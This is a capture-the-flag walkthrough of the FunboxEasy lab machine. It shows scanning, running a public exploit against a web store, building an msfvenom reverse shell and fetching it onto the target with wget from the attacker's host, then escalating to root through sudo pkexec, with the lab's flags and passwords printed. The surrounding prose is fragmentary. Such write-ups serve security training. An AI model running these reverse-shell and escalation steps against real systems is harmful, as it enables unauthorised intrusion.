

tags: Offsec PG Play Easy Linux # FunboxEasy

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.211.111 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.211.111:22
Open 192.168.211.111:80
Open 192.168.211.111:33060

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_ gym
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_ http-title: Apache2 Ubuntu Default Page: It works
|_ http-server-header: Apache/2.4.41 (Ubuntu)
33060/tcp open  mysqlx? syn-ack
``` busterscan,scanget `192.168.211.111/store`, has
`http://192.168.211.111/store/database/readme.txt.txt`insidehas accountpassword `admin/admin`
```

```
(kali㉿kali)-[~/pgplay]
└─$ feroxbuster -u http://192.168.211.111 -q -w /home/kali/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt
```

```
...
3: complete http://192.168.211.111/store/
59: complete http://192.168.211.111/store/template/
62: complete http://192.168.211.111/store/database/
200 GET 16l 134w 791c http://192.168.211.111/store/database/readme.txt.txt
200 GET 230l 2013w 15115c http://192.168.211.111/store/database/www_project.sql
...
```

```
(kali㉿kali)-[~/pgplay]
└─$ python3 47887.py http://192.168.211.111/store

(kali㉿kali)-[~/pgplay]
└─$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.223 LPORT=9001 -f elf > shell_9001

(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp9001
```

```
RCE $ wget 192.168.45.223/shell_9001
RCE $ chmod +x shell_9001
RCE $./shell_9001
python3 -c 'import pty; pty.spawn("/bin/bash")'
``` /home/tonyhas a filepassword.txt
```

```
www-data@funbox3:/home/tony$ cat password.txt
ssh: yxcvbnmYYY
gym/admin: asdfghjklXXX
/store: admin@admin.com admin
``` usesshlogintony's account,`sudo -l`afterCheck[GTFobins]
(https://gtfobins.github.io/gtfobins/pkexec/#sudo)'s pkexec, can get root shell
```

```
(kali㉿kali)-[~/pgplay]
└─$ ssh tony@192.168.211.111
```

```
tony@funbox3:~$ sudo -l
Matching Defaults entries for tony on funbox3:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

User tony may run the following commands on funbox3:

```
(root) NOPASSWD: /usr/bin/yelp
(root) NOPASSWD: /usr/bin/dmfc
(root) NOPASSWD: /usr/bin/whois
(root) NOPASSWD: /usr/bin/rlogin
(root) NOPASSWD: /usr/bin/pkexec
(root) NOPASSWD: /usr/bin/mtr
(root) NOPASSWD: /usr/bin/finger
```

```
(root) NOPASSWD: /usr/bin/time
(root) NOPASSWD: /usr/bin/cancel
(root) NOPASSWD: /root/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/x/y/z/.smile.sh

tony@funbox3:~$ sudo pkexec /bin/sh
```

## whoami

```
root
``` in /root get proof.txt, in /var/www get local.txt
```

```
root@funbox3:~# cat proof.txt
94f744ce03100134942a9bd67a01b027

root@funbox3:/var/www# cat local.txt
d9f3b7cdc8274aa1e15dbefd7d02912d
```